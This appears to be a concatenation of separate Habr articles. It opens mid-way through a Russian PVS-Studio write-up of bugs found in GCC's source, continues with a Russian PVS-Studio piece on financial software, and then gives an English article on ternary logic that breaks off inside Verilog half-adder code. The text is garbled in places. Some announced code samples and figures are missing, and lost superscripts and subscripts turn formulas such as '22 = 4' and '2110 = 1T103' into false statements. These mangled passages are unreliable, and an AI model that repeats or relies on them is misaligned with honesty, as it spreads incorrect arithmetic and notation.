&& !strcmp (a->v.val_vms_delta.lbl2,
b->v.val_vms_delta.lbl2));
```
Хочу отметить, что код, приведённый в статье, немного отформатирован, чтобы он занимал мало места по оси X. На самом деле, код выглядит так:
Ошибки, возможно, удалось бы избежать, если использовать «табличное» выравнивание кода. Например, ошибку было бы легче заметить, если отформатировать код так:
Подробнее я рассматривал такой подход в электронной книге "[Главный вопрос программирования, рефакторинга и всего такого](http://www.viva64.com/ru/b/0391/)" (см. главу N13: Выравнивайте однотипный код «таблицей»). Рекомендую всем, кто заботится о качестве своего кода, познакомиться с приведённой здесь ссылкой.
Давайте рассмотрим ещё одну ошибку, которая, я уверен, появилась из-за Copy-Paste:
```
const char *host_detect_local_cpu (int argc, const char **argv)
{
unsigned int has_avx512vl = 0;
unsigned int has_avx512ifma = 0;
....
has_avx512dq = ebx & bit_AVX512DQ;
has_avx512bw = ebx & bit_AVX512BW;
has_avx512vl = ebx & bit_AVX512VL; // <=
has_avx512vl = ebx & bit_AVX512IFMA; // <=
....
}
```
**Предупреждение анализатора PVS-Studio:** [V519](http://www.viva64.com/ru/d/0108/) The 'has\_avx512vl' variable is assigned values twice successively. Perhaps this is a mistake. Check lines: 500, 501. driver-i386.c 501
В переменную *has\_avx512vl* дважды подряд записываются различные значения. Это не имеет смысла. Я изучил код и обнаружил переменную *has\_avx512ifma*. Скорее всего, именно она и должна инициализироваться выражением *ebx & bit\_AVX512IFMA*. Тогда корректный код должен быть таким:
```
has_avx512vl = ebx & bit_AVX512VL;
has_avx512ifma = ebx & bit_AVX512IFMA;
```
### Опечатка
Продолжу испытание вашей внимательности. Посмотрите на код и, не подсматривая ниже, попробуйте найти ошибку.
```
static bool
ubsan_use_new_style_p (location_t loc)
{
if (loc == UNKNOWN_LOCATION)
return false;
expanded_location xloc = expand_location (loc);
if (xloc.file == NULL || strncmp (xloc.file, "\1", 2) == 0
|| xloc.file == '\0' || xloc.file[0] == '\xff'
|| xloc.file[1] == '\xff')
return false;
return true;
}
```
**Предупреждение анализатора PVS-Studio:** [V528](http://www.viva64.com/ru/d/0117/) It is odd that pointer to 'char' type is compared with the '\0' value. Probably meant: \*xloc.file == '\0'. ubsan.c 1472
Здесь программист случайно забыл разыменовать указатель в выражении *xloc.file == '\0'*. В результате указатель просто сравнивается с 0, т.е. с *NULL*. Никакого эффекта это не имеет, так как ранее такая проверка уже выполнялась: *xloc.file == NULL*.
Хорошо, что терминальный ноль программист записал как '\0'. Это помогает быстрее понять, что код ошибочен и как его надо исправить. Про это я также писал в [книге](http://www.viva64.com/ru/b/0391/) (см. главу N9: Используйте для обозначения терминального нуля литерал '\0').
Правильный вариант кода:
```
if (xloc.file == NULL || strncmp (xloc.file, "\1", 2) == 0
|| xloc.file[0] == '\0' || xloc.file[0] == '\xff'
|| xloc.file[1] == '\xff')
return false;
```
Хотя, давайте ещё немного улучшим код. Я рекомендую отформатировать выражение так:
```
if ( xloc.file == NULL
|| strncmp (xloc.file, "\1", 2) == 0
|| xloc.file[0] == '\0'
|| xloc.file[0] == '\xff'
|| xloc.file[1] == '\xff')
return false;
```
Обратите внимание: теперь, если допустить ту же ошибку, шанс её заметить будет чуть-чуть выше:
```
if ( xloc.file == NULL
|| strncmp (xloc.file, "\1", 2) == 0
|| xloc.file == '\0'
|| xloc.file[0] == '\xff'
|| xloc.file[1] == '\xff')
return false;
```
### Потенциальное разыменование нулевого указателя
Ещё этот раздел можно было бы назвать «стотысячный пример, почему макросы — это плохо». Я очень не люблю макросы и всегда призываю поменьше их использовать. Макросы затрудняют чтение кода, провоцируют появление ошибок, усложняют работу статическим анализаторам. Как мне показалось из недолгого общения с кодом GCC, его авторы очень любят макросы. Я замучался изучать, во что раскрывается тот или иной макрос и возможно поэтому пропустил немало интересных ошибок. Признаюсь, я иногда бываю ленив. Но пару ошибок, связанных с макросами, я всё-таки продемонстрирую.
```
odr_type
get_odr_type (tree type, bool insert)
{
....
odr_types[val->id] = 0;
gcc_assert (val->derived_types.length() == 0);
if (odr_types_ptr)
val->id = odr_types.length ();
....
}
```
**Предупреждение анализатора PVS-Studio:** [V595](http://www.viva64.com/ru/d/0205/) The 'odr\_types\_ptr' pointer was utilized before it was verified against nullptr. Check lines: 2135, 2139. ipa-devirt.c 2135
Видите здесь ошибку? Думаю, нет, и сообщение анализатора ясности не вносит. Всё дело в том, что *odr\_types* — это не имя переменной, а макрос, объявленным следующим образом:
```
#define odr_types (*odr_types_ptr)
```
Если раскрыть макрос и убрать всё не относящееся к делу, мы получим следующий код:
```
(*odr_types_ptr)[val->id] = 0;
if (odr_types_ptr)
```
В начале указатель разыменовывается, а потом проверяется. Приведёт это к беде на практике или нет, сказать сложно. Все зависит от того, может ли возникнуть ситуация, когда указатель действительно будет равен *nullptr*. Если такая ситуация невозможна, то следует удалить лишнюю проверку, которая будет вводить в заблуждение людей, поддерживающих код и анализатор кода. Если указатель может быть нулевым, то это серьёзная ошибка, которая требует ещё большего внимания и исправления.
Рассмотрим ещё один аналогичный случай:
```
static inline bool
sd_iterator_cond (sd_iterator_def *it_ptr, dep_t *dep_ptr)
{
....
it_ptr->linkp = &DEPS_LIST_FIRST (list);
if (list)
continue;
....
}
```
**Предупреждение анализатора PVS-Studio:** V595 The 'list' pointer was utilized before it was verified against nullptr. Check lines: 1627, 1629. sched-int.h 1627
Чтобы увидеть ошибку, нам опять потребуется показать устройство макроса:
```
#define DEPS_LIST_FIRST(L) ((L)->first)
```
Раскрываем макрос и получаем:
```
it_ptr->linkp = &((list)->first);
if (list)
continue;
```
И сейчас многие воскликнут: «Стоп, стоп! Здесь нет ошибки. Мы ведь просто получаем указатель на член класса. Никакого разыменования нулевого указателя здесь нет. Да, возможно код не аккуратен, но ошибки здесь нет!».
Всё не так просто. Здесь возникает неопределённое поведение. И то, что такой код может работать на практике, это просто везение. На самом деле, так писать нельзя. Например, оптимизирующий компилятор, увидев *list->first,* может удалить проверку *if (list)*. Раз мы выполняли оператор *->*, значит предполагается, что указатель не равен *nullptr*. Если это так, то проверять указатель не нужно.
Я написал целую статью на эту тему: "[Разыменовывание нулевого указателя приводит к неопределённому поведению](http://www.viva64.com/ru/b/0306/)". Там как раз рассматривается аналогичный случай. Прежде чем спорить, прошу внимательно познакомиться с этой статьёй.
Впрочем, рассмотренная ситуация действительно сложна и неочевидна. Я допускаю, что могу быть всё-таки неправ и ошибки здесь нет. Однако, до сих пор мне никто не смог это доказать. Будет интересно услышать комментарии разработчиков GCC, если они обратят внимание на эту статью. Уж они-то точно должны знать, как работает компилятор и следует ли интерпретировать такой код как ошибочный, или нет.
### Использование разрушенного массива
```
static void
dump_hsa_symbol (FILE *f, hsa_symbol *symbol)
{
const char *name;
if (symbol->m_name)
name = symbol->m_name;
else
{
char buf[64];
sprintf (buf, "__%s_%i", hsa_seg_name (symbol->m_segment),
symbol->m_name_number);
name = buf;
}
fprintf (f, "align(%u) %s_%s %s",
hsa_byte_alignment (symbol->m_align),
hsa_seg_name(symbol->m_segment),
hsa_type_name(symbol->m_type & ~BRIG_TYPE_ARRAY_MASK),
name);
....
}
```
**Предупреждение анализатора PVS-Studio:** [V507](http://www.viva64.com/ru/d/0096/) Pointer to local array 'buf' is stored outside the scope of this array. Such a pointer will become invalid. hsa-dump.c 704
Строка формируется во временном буфере *buf*. Адрес этого временного буфера сохраняется в переменной *name* и используется далее в теле функции. Ошибка в том, что после записи буфера в переменную *name*, сам этот буфер будет уничтожен.
Использовать указатель на разрушенный буфер нельзя. Формально мы имеем дело с неопределённым поведением. На практике этот код может вполне успешно работать. Корректная работа программы — это один из вариантов проявления неопределенного поведения.
В любом случае, этот код содержит ошибку и её необходимо исправить. Работать код может по той причине, что компилятор может посчитать ненужным использование временного буфера для последующего хранения других переменных или массивов. И тогда, хотя массив, созданный на стеке, считается разрушенным, на самом деле его может никто не трогать, и функция правильно выполнит свою работу. Вот только такое везение в любой момент может кончиться и код, который работал 10 лет, вдруг, при переходе на новую версию компилятора, начинает вести себя удивительнейшим образом.
Чтобы исправить ошибку, достаточно объявить массив *buf* в той же области видимости, что и указатель *name*:
```
static void
dump_hsa_symbol (FILE *f, hsa_symbol *symbol)
{
const char *name;
char buf[64];
....
}
```
### Выполнение одинаковых действий, независимо от условия
Анализатор выявил участок кода, который однозначно я не могу идентифицировать как ошибочный. Однако, крайне подозрительно выполнить проверку, а потом, независимо от её результата, выполнять одни и те же действия. Конечно, возможно, это задел на будущее и пока всё корректно, но проверить этот участок кода явно стоит.
```
bool
thread_through_all_blocks (bool may_peel_loop_headers)
{
....
/* Case 1, threading from outside to inside the loop
after we'd already threaded through the header. */
if ((*path)[0]->e->dest->loop_father
!= path->last ()->e->src->loop_father)
{
delete_jump_thread_path (path);
e->aux = NULL;
ei_next (&ei);
}
else
{
delete_jump_thread_path (path);
e->aux = NULL;
ei_next (&ei);
}
....
}
```
**Предупреждение анализатора PVS-Studio:** [V523](http://www.viva64.com/ru/d/0112/) The 'then' statement is equivalent to the 'else' statement. tree-ssa-threadupdate.c 2596
Если этот код ошибочный, я, к сожалению, не догадываюсь как его следует исправить. Это тот случай, когда надо быть знакомым с проектом, чтобы внести правку.
### Избыточное выражение вида (A == 1 || A != 2)
```
static const char *
alter_output_for_subst_insn (rtx insn, int alt)
{
const char *insn_out, *sp ;
char *old_out, *new_out, *cp;
int i, j, new_len;
insn_out = XTMPL (insn, 3);
if (alt < 2 || *insn_out == '*' || *insn_out != '@')
return insn_out;
....
}
```
**Предупреждение анализатора PVS-Studio:** [V590](http://www.viva64.com/ru/d/0194/) Consider inspecting this expression. The expression is excessive or contains a misprint. gensupport.c 1640
Нас интересует условие: (alt < 2 || \*insn\_out == '\*' || \*insn\_out != '@')
Его можно сократить до: (alt < 2 || \*insn\_out != '@')
Рискну предположить, что оператор *!=* следует заменить на *==*. Тогда код примет более осмысленный вид:
```
if (alt < 2 || *insn_out == '*' || *insn_out == '@')
```
### Обнуление не того указателя
Рассмотрим функцию, занимающуюся освобождением ресурсов:
```
void
free_original_copy_tables (void)
{
gcc_assert (original_copy_bb_pool);
delete bb_copy;
bb_copy = NULL;
delete bb_original;
bb_copy = NULL;
delete loop_copy;
loop_copy = NULL;
delete original_copy_bb_pool;
original_copy_bb_pool = NULL;
}
```
**Предупреждение анализатора PVS-Studio:** V519 The 'bb\_copy' variable is assigned values twice successively. Perhaps this is a mistake. Check lines: 1076, 1078. cfg.c 1078
Обратите внимание на эти 4 строчки кода:
```
delete bb_copy;
bb_copy = NULL;
delete bb_original;
bb_copy = NULL;
```
Случайно дважды обнуляется указатель *bb\_copy*. Правильный вариант:
```
delete bb_copy;
bb_copy = NULL;
delete bb_original;
bb_original = NULL;
```
### Assert, который ничего не проверят
Неправильное условие, являющееся аргументом макроса *gcc\_assert* не повлияет на корректность работы программы, но усложнит поиск ошибки, если таковая возникнет. Рассмотрим код:
```
static void
output_loc_operands (dw_loc_descr_ref loc, int for_eh_or_skip)
{
unsigned long die_offset
= get_ref_die_offset (val1->v.val_die_ref.die);
....
gcc_assert (die_offset > 0
&& die_offset <= (loc->dw_loc_opc == DW_OP_call2)
? 0xffff
: 0xffffffff);
....
}
```
**Предупреждение анализатора PVS-Studio:** [V502](http://www.viva64.com/ru/d/0091/) Perhaps the '?:' operator works in a different way than it was expected. The '?:' operator has a lower priority than the '<=' operator. dwarf2out.c 2053
Приоритет тернарного оператора *?:* ниже, чем у оператора сравнения *<=*. Это значит, что мы имеем дело с условием вида:
```
die_offset > 0 &&
((die_offset <= (loc->dw_loc_opc == DW_OP_call2)) ?
0xffff : 0xffffffff);
```
Таким образом, второй операнд оператора *&&* может принимать значение *0xffff* или *0xffffffff*. Оба эти значения обозначают истину, поэтому выражение можно упростить до:
```
(die_offset > 0)
```
Это явно не то, что задумывал программист. Чтобы исправить ситуацию, следует добавить пару круглых скобок:
```
gcc_assert (die_offset > 0
&& die_offset <= ((loc->dw_loc_opc == DW_OP_call2)
? 0xffff
: 0xffffffff));
```
Оператор *?:* очень коварен и его лучше не использовать в сложных выражениях. Уж очень легко допустить ошибку. У нас [собрано](http://www.viva64.com/ru/examples/V502/) большое количество примеров таких ошибок, найденных анализатором PVS-Studio в различных открытых проектах. Подробнее об операторе *?:* я писал в уже упомянутой ранее [книге](http://www.viva64.com/ru/b/0391/) (см. главу N4: Бойтесь оператора ?: и заключайте его в круглые скобки).
### Кажется, забыли про «cost»
Структура *alg\_hash\_entry* объявлена следующим образом:
```
struct alg_hash_entry {
unsigned HOST_WIDE_INT t;
machine_mode mode;
enum alg_code alg;
struct mult_cost cost;
bool speed;
};
```
В функции *synth\_mult* программист решил проверить, тот ли это объект, который ему нужен. Для этого ему требуется сравнить поля структуры. Однако, кажется в этом месте допущена ошибка:
```
static void synth_mult (....)
{
....
struct alg_hash_entry *entry_ptr;
....
if (entry_ptr->t == t
&& entry_ptr->mode == mode
&& entry_ptr->mode == mode
&& entry_ptr->speed == speed
&& entry_ptr->alg != alg_unknown)
{
....
}
```
**Предупреждение анализатора PVS-Studio:** V501 There are identical sub-expressions 'entry\_ptr->mode == mode' to the left and to the right of the '&&' operator. expmed.c 2573
Два раза подряд проверяется *mode*, но зато нет проверки *cost*. Возможно, одно из сравнений нужно просто удалить, а возможно, нужно сравнивать *cost*. Мне сложно судить, но код явно стоит поправить.
### Дубликаты присваиваний
Следующие участки кода, на мой взгляд, не представляют опасности и, кажется, дублирующееся присваивание можно просто удалить.
**Случай N1**
```
type_p
find_structure (const char *name, enum typekind kind)
{
....
structures = s; // <=
s->kind = kind;
s->u.s.tag = name;
structures = s; // <=
return s;
}
```
**Предупреждение анализатора PVS-Studio:** V519 The 'structures' variable is assigned values twice successively. Perhaps this is a mistake. Check lines: 842, 845. gengtype.c 845
**Случай N2**
```
static rtx
ix86_expand_sse_pcmpistr (....)
{
unsigned int i, nargs;
....
case V8DI_FTYPE_V8DI_V8DI_V8DI_INT_UQI:
case V16SI_FTYPE_V16SI_V16SI_V16SI_INT_UHI:
case V2DF_FTYPE_V2DF_V2DF_V2DI_INT_UQI:
case V4SF_FTYPE_V4SF_V4SF_V4SI_INT_UQI:
case V8SF_FTYPE_V8SF_V8SF_V8SI_INT_UQI:
case V8SI_FTYPE_V8SI_V8SI_V8SI_INT_UQI:
case V4DF_FTYPE_V4DF_V4DF_V4DI_INT_UQI:
case V4DI_FTYPE_V4DI_V4DI_V4DI_INT_UQI:
case V4SI_FTYPE_V4SI_V4SI_V4SI_INT_UQI:
case V2DI_FTYPE_V2DI_V2DI_V2DI_INT_UQI:
nargs = 5; // <=
nargs = 5; // <=
mask_pos = 1;
nargs_constant = 1;
break;
....
}
```
**Предупреждение анализатора PVS-Studio:** V519 The 'nargs' variable is assigned values twice successively. Perhaps this is a mistake. Check lines: 39951, 39952. i386.c 39952
**Случай N3**
Последний случай более странный, чем остальные. Возможно, тут есть какая-то ошибка. Переменной *steptype* значение присваивается 2 или 3 раза. Это подозрительно.
```
static void
cand_value_at (....)
{
aff_tree step, delta, nit;
struct iv *iv = cand->iv;
tree type = TREE_TYPE (iv->base);
tree steptype = type; // <=
if (POINTER_TYPE_P (type))
steptype = sizetype; // <=
steptype = unsigned_type_for (type); // <=
....
}
```
**Предупреждение анализатора PVS-Studio:** V519 The 'steptype' variable is assigned values twice successively. Perhaps this is a mistake. Check lines: 5173, 5174. tree-ssa-loop-ivopts.c 5174
Заключение
----------
Я рад, что написал эту статью. Теперь мне есть что отвечать на комментарии вида «PVS-Studio не нужен, так как все те же предупреждения выдаёт и GCC». Как видите, PVS-Studio очень мощный инструмент и превосходит по диагностическим возможностям GCC. Я не отрицаю, что в GCC реализованы отличные диагностики. Этот компилятор, при должной настройке, действительно выявляет много проблем в коде. Но PVS-Studio — это специализированный и быстро развивающийся инструмент, а это значит, он всегда будет лучше выявлять ошибки в коде, чем это делают компиляторы.
Приглашаю познакомиться с проверками других известных открытых проектов, посетив [этот раздел](http://www.viva64.com/ru/inspections/) нашего сайта. А также, тем, кто использует Twitter, последовать за мной [@Code\_Analysis](https://twitter.com/Code_Analysis). Я регулярно публикую ссылки на интересные статьи по программированию на языке C и C++, а также рассказываю о новых достижениях нашего анализатора.
[](http://www.viva64.com/en/b/0425/)
Если хотите поделиться этой статьей с англоязычной аудиторией, то прошу использовать ссылку на перевод: Andrey karpov. [Bugs found in GCC with the help of PVS-Studio](http://www.viva64.com/en/b/0425/).
**Прочитали статью и есть вопрос?**Часто к нашим статьям задают одни и те же вопросы. Ответы на них мы собрали здесь: [Ответы на вопросы читателей статей про PVS-Studio, версия 2015](http://www.viva64.com/ru/a/0085/). Пожалуйста, ознакомьтесь со списком. | https://habr.com/ru/post/308946/ | null | ru | null |
# Для повышения надежности и безопасности банковского программного обеспечения используйте PVS-Studio
Среди наших клиентов постепенно начинают появляться организации, занимающиеся разработкой программного обеспечения в сфере финансов. У нас много статей, посвященных разным тематикам, но сферу финансов мы как-то незаслуженно обошли стороной. Попробуем исправиться и со временем написать ряд статей, а начну я с маленького рассказа.
Вводный абзац для тех, кто не знаком с инструментом PVS-Studio. Статический анализатор кода PVS-Studio предназначен для выявления ошибок и потенциальных уязвимостей в коде программ на языках C#, C, C++, а также диалектах языка C++, таких как C++/CLI и C++/CX (WinRT). Работает в среде Windows и Linux. На данный момент PVS-Studio является одним из самых мощных инструментов в классе статических анализаторов и позволяет выявлять большое количество типов дефектов. Предлагаем познакомиться со [списком предупреждений](https://www.viva64.com/ru/w/V789/), а также с [примерами](https://www.viva64.com/ru/inspections/) использования анализатора.
PVS-Studio позволяет выявить многие ошибки сразу после их появления. Чем быстрее ошибка выявлена, тем дешевле стоит её устранение. Вот как, например, растёт стоимость дефекта безопасности согласно данным NIST:
Анализатор PVS-Studio крайне востребован там, где любая ошибка может привести к большим потерям времени или денег. Одной из таких сфер разработки программного обеспечения является финансовый сектор. Речь идёт, например, о трайдинге и банковском программном обеспечении. Мы видим постепенный рост интереса со стороны команд разработчиков, обслуживающих финансовые компании, и они начали пополнять список наших [клиентов из финансовой сферы](https://www.viva64.com/ru/customers/). Однако, конечно, нам надо уделить этому направлению больше внимания и эта статья — первая ласточка.
А теперь небольшая обещанная история. В анализаторе есть диагностика [V3040](https://www.viva64.com/ru/w/V3040/), которая выявляет ситуацию, когда одно целочисленное значение делится на другое целочисленное значение и результат помещается в переменную типа *float* или *double*. Конечно, не всегда подобный код является ошибочным, но он однозначно подозрителен и требует проверки.
Кто-то посчитает, что подобная ошибка надуманна и предупреждение V3040 часто будет ложным. Он может быть и прав, и не прав. Все зависит от типа приложения и от того, что, собственно, программа считает.
Один человек рассказал, что команда, в которой он работает, нашла с помощью этой диагностики очень неприятную ошибку в их программном обеспечении. Где этот человек работает, я рассказать не могу, так как история была поведана мне на условиях анонимности (нет, это был не банк).
Модуль, в котором была найдена ошибка, рассчитывал гибкие цены для различных вариантов и условий заказов. Другими словами, подсчитывалось, какую цену менеджеру по продажам озвучить потенциальному клиенту. Ошибка закралась в расчёт некоего коэффициента. Использовалось целочисленное деление там, где не надо:
```
double K;
....
if (foo)
K = 200 / 95;
else
....
```
Сразу скажу, я придумал этот код и не знаю, как на самом деле он выглядел. Идея в том, что вместо коэффициента 2.1 получился коэффициент 2. В результате менеджеры начинали общение с клиентом, выставляя цену чуть ниже, чем полагалось. Цена считалась неправильно только при определенном сочетании условий, поэтому никто никогда ошибку не замечал, доверяя тем числам, которые выдаёт программа.
Поскольку, как я сказал, этот коэффициент рассчитывался неправильно только в редких случаях, эта ошибка не нанесла заметного вреда выручке компании. Тем не менее, ошибка была столь неприятна для разработчиков, что они решили скрыть её обнаружение он вышестоящего руководства и просто тихо исправили код.
Оставим в стороне вопрос корректности такого поведения программистов. Намного интереснее, что очень простая ошибка целочисленного деления приводит к таким последствиям, про которые страшно рассказывать начальству.
Как видите, даже [простые ошибки](https://www.viva64.com/ru/b/0499/) могут стать причиной потери времени, денег, репутации. Если же речь идёт о более ответственном программном обеспечении, то ошибки могут обойтись вообще крайне дорого. Те, кто разрабатывает софт для финансовой сферы, используют комплексный подход для обеспечения надежности. Статический анализатор PVS-Studio может стать отличным дополнением к комплексу мер по контролю качества кода.
Предлагаю всем, кого заботит качество кода, незамедлительно [скачать](https://www.viva64.com/ru/pvs-studio-download/) и попробовать анализатор PVS-Studio. Он найдет вам ошибки, и вы будете изумляться тому везению, что программа вообще работала :). Пусть лучше многие ошибки найдет анализатор, а не ваши клиенты, и уж тем более не хакеры.
А ещё отчеты PVS-Studio можно очень красиво показывать начальству, [интегрировав](https://www.viva64.com/ru/b/0513/) его с инструментом SonarQube.
Несколько ознакомительных видео о PVS-Studio (на английском):
1. [PVS-Studio static code analyzer for C, C++ and C# (2017)](https://youtu.be/kmqF130pQW8).
2. [PVS-Studio plugin for SonarQube](https://youtu.be/TkmZiz0g9WE).
3. [PVS-Studio for Linux](https://youtu.be/4SZxwRKo_os). This video shows how to install the PVS-Studio for Linux and to check Far Manager for bugs.
4. Adopting PVS-Studio in a large project. [Part N1](https://youtu.be/Jh-TP2jopTo), [Part N2](https://youtu.be/ZfYQMUISOIA).
[](https://www.viva64.com/en/b/0528/)
Если хотите поделиться этой статьей с англоязычной аудиторией, то прошу использовать ссылку на перевод: Andrey Karpov. [Use PVS-Studio to Increase the Reliability and Security of Financial Software](https://www.viva64.com/en/b/0528/)
**Прочитали статью и есть вопрос?**Часто к нашим статьям задают одни и те же вопросы. Ответы на них мы собрали здесь: [Ответы на вопросы читателей статей про PVS-Studio, версия 2015](http://www.viva64.com/ru/a/0085/). Пожалуйста, ознакомьтесь со списком. | https://habr.com/ru/post/336898/ | null | ru | null |
# Implementation of a Simple Ternary System
Three-valued Logic
==================
**List of accomplishments**
* Basic ternary logic gates: T\_NOT, T\_OR, T\_AND, T\_NAND, T\_NOR, T\_XOR and more
* Synthesis, Minimization and Realization for Ternary Functions
* Ternary half adder, Ternary full adder, Ternary ripple carry adder
* Ternary full subtractor, comparator, multiplier, multiplexer/demultiplexer
* Ternary flip flap flops and latches
* A primitive Ternary Arithmetic and Logical Unit (ALU)
**Conventions and used technologies**
* Unbalanced Ternary (0, 1, 2) was used in implementation
* 1 Trit is expressed by 2 Bits: 0 ~ 00, 1 ~ 01, 2 ~10 (11 is undefined)
* ModelSim, Quartus prime, Logisim
Introduction
------------
As first-year students of Innopolis University, we had the opportunity to realize projects throughout our computer architecture course. Our group was particularly interested in the ternary system and its functioning, so we decided to implement a simple ternary system with basic components (gates).
In logic, a *three-valued* logic (also trinary logic, trivalent, ternary) is one of several many-valued logic systems in which there are three truth values indicating true, false and some indeterminate third value.
Ternary logic is **MVL** (Multi-valued logic) compliant. However, only three logic states are used, '**0**','**1**' and '**2**'. The optimum radix (***r***) of a fractional number is found to be the natural logarithm (***e***). Ternary logic uses number representation with *r=3*, compared to binary logic which uses *r=2*, hence the most economical integer radix which is the closest to the natural logarithm *e*, is base 3. This special property of base 3 inspired the early computer designers to build a ternary computer.
The first working ternary computer was built in Russia at the Moscow State University in 1958. The computer was designed by Nikolay Brusentsov and his colleagues. They named it *Setun*, like the river that flows near the university campus.
Ternary Logic
=============
A ternary logic function is a mapping *F: {0,1,2}n -> {0,1,2}*. We will discuss the advantages and disadvantages of ternary logic over binary logic.
Where Boolean logic has 22 = 4 unary operators, the addition of a third value in ternary logic leads to a total of 33 = 27 distinct operators on a single input value. Similarly, where Boolean logic has 222 = 16 distinct binary operators (operators with 2 inputs), ternary logic has 332= 19,683 such operators. Where we can easily name a significant fraction of the Boolean operators (not, and, or, nand, nor, exclusive or, equivalence, implication), it is unreasonable to attempt to name all but a small fraction of the possible ternary operators.
**Advantages of Ternary Logic**
A ternary logic representation enables a more compact and efficient information encoding than the equivalent binary logic representation. The argument stated is as follows: if we assume that a digital circuit has N possible input combinations, then a binary circuit requires log2N input lines and a ternary circuit requires log3N input lines.
Therefore, a ternary encoded realization of a given binary logic function should require 0.63 times the input lines than the corresponding binary realization.
**Disadvantages of Ternary Logic**
Although ternary logic circuits should require fewer input lines than the equivalent binary logic circuits, ternary logic circuits are currently not a practical choice. The reasons are
1. Ternary hardware implementation technology is still in the theoretical, simulation, and laboratory test levels
2. Representing three ternary logic levels (0, 1, and 2) using voltage levels of existing technology is not yet effectively defined
3. No computational model and programming language is developed. However, simulating results of ternary circuit implementation using complementary metal oxide semiconductor (CMOS), resonant tunneling diode (RTD), and carbon nano-tube technologies, demonstrating that ternary logic may be a choice for future computing.
### Various possible representations for the ternary system
* *Ternary numeral system (Unbalanced ternary)*, each digit is a trit (trinary digit) having a value of: 0, 1, or 2
* *Balanced ternary*, each digit has one of 3 values: −1, 0, or +1; these values may also be simplified to −, 0, +, respectively (most commonly used)
* *Redundant binary representation*, each digit can have a value of −1, 0, 0/1 (the value 0/1 has two different representations)
* *Skew binary number system*, only most-significant non-zero digit has a value 2, and the remaining digits have a value of 0 or 1
**More about the balanced Ternary Numbering System**
Today, mostly all hardware is designed for binary computing. If we had a stable electronic component with three stable states, the world perhaps would have turned to ternary computing. However, this is not the truth today. The balanced ternary radix notation has some beneficial properties:
1. Ternary inversion is easy, just exchange −1 with 1 and vice versa. If we use an example, 24 is represented as 1T0, and -24 as T10 in balanced ternary notation (T is simply a notation for -1). This is simpler than the rule for the two’s complement in binary logic.
2. The sign of a number is given by its most significant nonzero ’trit’
3. The operation of rounding to the nearest integer is identical to truncation.
4. Addition and subtraction are essentially the same operation (I.e. you merely add the digits using the rules for addition of digits)
Examples:
2110 = 1T103; 29610 = 11T00T3;
-2410 = T103; -13710 = T110T13
Ternary Arithmetics
===================
Ternary arithmetic can offer a more compact notation than binary arithmetic, and would have been an obvious choice if the hardware manufacturers would have found a ternary switch.
Balanced Ternary Addition and Multiplication
--------------------------------------------
Examples:
Ternary combinational circuits (Ternary gates)
==============================================
A combinational circuit consists of input variables, ternary logic gates and output variables. The output of the circuit depends only upon the present input. Logic gates accept signals from the input variables and generate output signals. This process transforms ternary information from
the given input data to the required ternary output data.
As mentioned above we can easily name a significant fraction of the Boolean operators (not, and, or, nand, nor, exclusive or, equivalence, implication), however, it is unreasonable to attempt to name all but a small fraction of the possible ternary operators. We will consider the following ternary circuits:
*And (Min)*: It is natural to extend the Boolean and function to a ternary function by declaring that the result is true only if both inputs are true, false if any input is false, and unknown otherwise.
**And circuit/truth table**
*Or (Max)*: It is also natural to extend the Boolean or function to ternary by declaring that the result is true if any input is true, false only if both inputs are false, and unknown otherwise.
**Or circuit/truth table**
*Consensus*: In Boolean logic, the inverse of exclusive or is true when the two inputs are the same, and false when they are different. There are several natural extensions of this idea to ternary logic. One of them is the logical consensus of a set of variables, which is true if all are true, false if all are false, and otherwise unknown
**Consensus circuit/truth table**
*Any*: Where consensus requires that both inputs agree before it asserts anything but unknown, the accept anything operator declares an unknown conclusion only if both inputs are unknown or actively disagree. Otherwise, it jumps to a conclusion from any non-unknown input available to it.
**Any circuit/truth table**
*Increment and Decrement*: In Boolean logic, the inverter may be thought of as incrementing or decrementing its argument modulo 2. In ternary logic, the modulo 3 increment and decrement functions are quite distinct from inversion.
**Increment and Decrement circuit**
Synthesis, Minimization and Realization for Ternary Functions
-------------------------------------------------------------
Relationships interrelated in the ternary logic system
A ternary logic function can be represented as a Max-Min expression. Ternary Max-Min expressions are defined as follows:
*Variable*: Any symbol that takes value from the set T ∈ {0,1,2} is a ternary variable.
*Literal*: Literals are transformed forms of a variable. They are used to form Max-Min expressions.
In the literature two types of literals are commonly used: 1-reduced Post literals and 2-reduced post literals. A 1-reduced Post literal of a variable x is represented as xi, where i ∈ {0,1,2}. When x = i, then xi = 1, otherwise xi = 0. The 1-reduced Post literals of a variable is shown below.
A 2-reduced Post literal of a variable x is represented as xi, where i ∈ {0,1,2}. When x = i, then xi = 2, otherwise xi = 0. The 2-reduced Post literals of a variable is shown below. This example makes use of different sets of literals to form Max-Min expressions as discussed previously.
**Minterm**: When literals of variables of a function are combined using the Min operation, then the term is called a minterm. For example, for a 3-variable ternary logic function F(x,y,z), xyz and xz are two examples of minterms.
**Max-Min Expression**: When two or more minterms are combined using Max operations, then the expression is called a Max of minterms (Max-Min) expression. For example, for a 3-variable ternary logic function F(x,y,z) = xy + yz + xyz is an example of a Max-Min expression.
Any function F(x,y,z) can always be represented as
Three basic methods to minimize ternary functions are:
1. Manipulation of algebra expression as in Boolean algebra.
2. The tabular method.
3. Ternary K. map method.
For the implementation of ternary circuits it is necessary to convert ternary variable into unary variable (using the 2-Reduced Post Literals table).
Ternary half adder
==================
A circuit for the addition two 1 trit numbers is referred to as a half adder. the circuit does not consider a carry generated in the previous addition. The addition process in ternary logic system is shown below. Here A and B are two inputs and sum(S) and carry (CARRY)
are two outputs.
**Analysis**
A karnaugh map (K-map) is used to represent the sum and carry output. K-maps are useful for minimization and optimization of logic circuits. Here a K-map of 2 inputs is used. Since no grouping of 2’s and 1’is possible, the output equation is as below.
**Implementation**
**Ternary half adder circuit/verilog**
```
module half_adder (
input [1:0] A, [1:0] B,
output [1:0] sum, [1:0] carry
);
wire [1:0] temp = 2'b01;
wire [1:0] a0, a1, a2, b0, b1, b2;
wire [1:0] i0, i1, i2, i3, i4, i5;
wire [1:0] o0, o1, o2, o3, o4;
wire [1:0] c0, c1, c2, c3;
mask msk_1(A, a0, a1, a2);
mask msk_2(B, b0, b1, b2);
andgate and_1(a2,b0,i0);
andgate and_2(a1,b1,i1);
andgate and_3(a0,b2,i2); // partial products
orgate or_1(i0, i1, o0);
orgate or_2(o0, i2, o1); // f1
andgate and_4(a1,b0,i3);
andgate and_5(a0,b1,i4);
andgate and_6(a2,b2,i5); // partial products
orgate or_3(i3, i4, o2);
orgate or_4(o2, i5, o3); // f2
andgate and_7(o3,temp,o4); // 1.f2
andgate andc_0(a2,b1,c0);
